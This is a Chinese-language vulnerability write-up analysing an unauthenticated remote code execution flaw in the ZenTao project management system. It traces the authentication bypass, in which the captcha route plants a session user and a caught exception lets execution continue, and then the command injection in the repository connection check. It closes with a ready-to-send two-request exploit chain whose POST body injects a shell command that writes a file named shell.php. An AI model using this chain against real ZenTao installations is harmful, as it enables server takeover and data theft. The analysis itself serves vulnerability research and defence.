禅道项目管理系统未授权RCE分析记录
漏洞原理简介
禅道项目管理系统的鉴权模块存在逻辑设计缺陷,可以允许攻击者利用无须授权的模块去内存中“伪造”一个合法用户,然后利用该用户访问需要授权的模块。从而调用危险的路由,导致命令执行。
环境搭建
点击下载,然后直接根据版本搜索需要的即可。官方提供了一键安装包,为了节省时间,我直接使用了Windows下的一键安装。
原理分析
从 www/index.php 中可以分析得知,禅道在对请求参数进行初始化结束后,对即将访问的路由模块进行了检查,接着调用Common模块的checkPriv方法对请求权限进行判断。然后调用对应模块的方法执行,输出结果。代码片段如下:
$app->parseRequest(); // 请求参数初始化
if(!$app->setParams()) return; // 对控制器模块进行安全检查,判断方法,类文件是否存在等
$common->checkPriv(); // 权限检查
$common->checkIframe();
$app->loadModule(); // 路由调用
权限检测模块的分析
参数处理,和其他相关检查不是本次分析的重点。因此暂时略过。checkPriv核心的逻辑如下:
public function checkPriv()
{
try
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if($this->app->isFlow)
{
$module = $this->app->rawModule;
$method = $this->app->rawMethod;
}
$beforeValidMethods = array(
'user' => array('deny', 'logout'),
'my' => array('changepassword'),
'message' => array('ajaxgetmessage'),
);
if(!empty($this->app->user->modifyPassword) and (!isset($beforeValidMethods[$module]) or !in_array($method, $beforeValidMethods[$module]))) return print(js::locate(helper::createLink('my', 'changepassword')));
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
if($this->isOpenMethod($module, $method)) return true;
if(isset($this->app->user))
{
$this->app->user = $this->session->user;
if(!commonModel::hasPriv($module, $method))
{
if($module == 'story' and !empty($this->app->params['storyType']) and strpos(",story,requirement,", ",{$this->app->params['storyType']},") !== false) $module = $this->app->params['storyType'];
$this->deny($module, $method);
}
}
else
{
$uri = $this->app->getURI(true);
if($module == 'message' and $method == 'ajaxgetmessage')
{
$uri = helper::createLink('my');
}
elseif(helper::isAjaxRequest())
{
die(json_encode(array('result' => false, 'message' => $this->lang->error->loginTimeout))); // Fix bug #14478.
}
$referer = helper::safe64Encode($uri);
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
catch(EndResponseException $endResponseException)
{
echo $endResponseException->getContent();
}
}
代码较长,但是简而言之,这里的重点就是try语句块中的if-else判断块。从else中代码逻辑可以得出如果没有权限,返回信息输出后,将使用die函数退出。但是if语句块中没有权限将会走入deny函数中去,经过一些列判断后,最终执行helper::end(),抛出异常:
framework/helper.class.php:
public static function end($content = '')
{
throw EndResponseException::create($content);
}
接着我们将目光回到checkPriv函数。看最终的catch语句捕获的就是EndResponseException异常。也就是说,如果我们有机会控制逻辑判断的代码走到if语句块,那么就算没有权限。整个checkPriv函数也将会自己抛异常,自己处理。完全不影响后续执行控制器中的方法!
控制SESSION 绕过逻辑判断
我们回到checkPriv函数中,可以看到如果要满足条件进入if语句块,我们需要保证$this->app->user不为空。因此全局搜索$this->app->user =
, 结果如下所示:
分析得知,控制该值可以通过$this->session->user。但是这个值我们有机会控制么?
直接搜索$this->session->user =
是没结果的。搜索$this->session->set(
可以得到如下的结果:
排除key无法控制的,得到了misc模块的captcha方法:
public function captcha($sessionVar = 'captcha', $uuid = '')
{
$obLevel = ob_get_level();
for($i = 0; $i < $obLevel; $i++) ob_end_clean();
header('Content-Type: image/jpeg');
$captcha = $this->app->loadClass('captcha');
$this->session->set($sessionVar, $captcha->getPhrase());
$captcha->build()->output();
}
$sessionVar的值我们可控。该功能为输出验证码的功能。因此默认一定是不需要权限的。
接着我们会有两个疑惑:
- 此处设置过的session,下次请求还在么?
- 该session什么时候赋值给$this->app->user
首先回答第一个问题,这里的session禅道的实现是在super这个全局超级对象类中实现的,实现的原理利用了PHP的SESSION机制。只要两次请求的PHPSESSID一致,那么获取到的session就是一致的。
第二个问题,我经过反复调试,发现commonModel在实例化的时候将会调用setUser方法,在这个方法中将session中保存的值放到全局的app对象中,代码片段如下:
public function setUser()
{
if($this->session->user)
{
if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();
$this->app->user = $this->session->user;
}
// ...
攻击点的寻找
repo模块的edit方法将会调用update方法,接着调用checkConnection方法对仓库是否可连接进行检查,checkConnection中危险操作如下:
public function checkConnection()
{
if(empty($_POST)) return false;
$scm = $this->post->SCM;
$client = $this->post->client;
$account = $this->post->account;
$password = $this->post->password;
$encoding = strtoupper($this->post->encoding);
$path = $this->post->path;
if($encoding != 'UTF8' and $encoding != 'UTF-8') $path = helper::convertEncoding($path, 'utf-8', $encoding);
if($scm == 'Subversion')
{
/* Get svn version. */
$versionCommand = "$client --version --quiet 2>&1";
exec($versionCommand, $versionOutput, $versionResult);
$client参数可以直接拼接进入到exec函数执行。在此,对代码分析后,并未发现需要网络上讲的需要先执行create,因为代码逻辑中并未对仓库是否存在做检查。不知道是我的版本问题,还是其他原因。暂且未深究。
Chain it all together
- 获取内存合法的用户
GET /zentao/misc-captcha-user.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
Connection: close
- 利用被“激活”过的session访问敏感路由实现RCE
POST /zentao/repo-edit-10000-10000.html HTTP/1.1
Host: 192.168.8.143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Referer: http://192.168.8.143/zentao/
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=a6ca41962cae417054d9c9ccdb736f36; lang=zh-cn; device=desktop; theme=default; windowWidth=1344; windowHeight=687
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
SCM=Subversion&client=echo aaaaaaaaaaaaa > shell.php --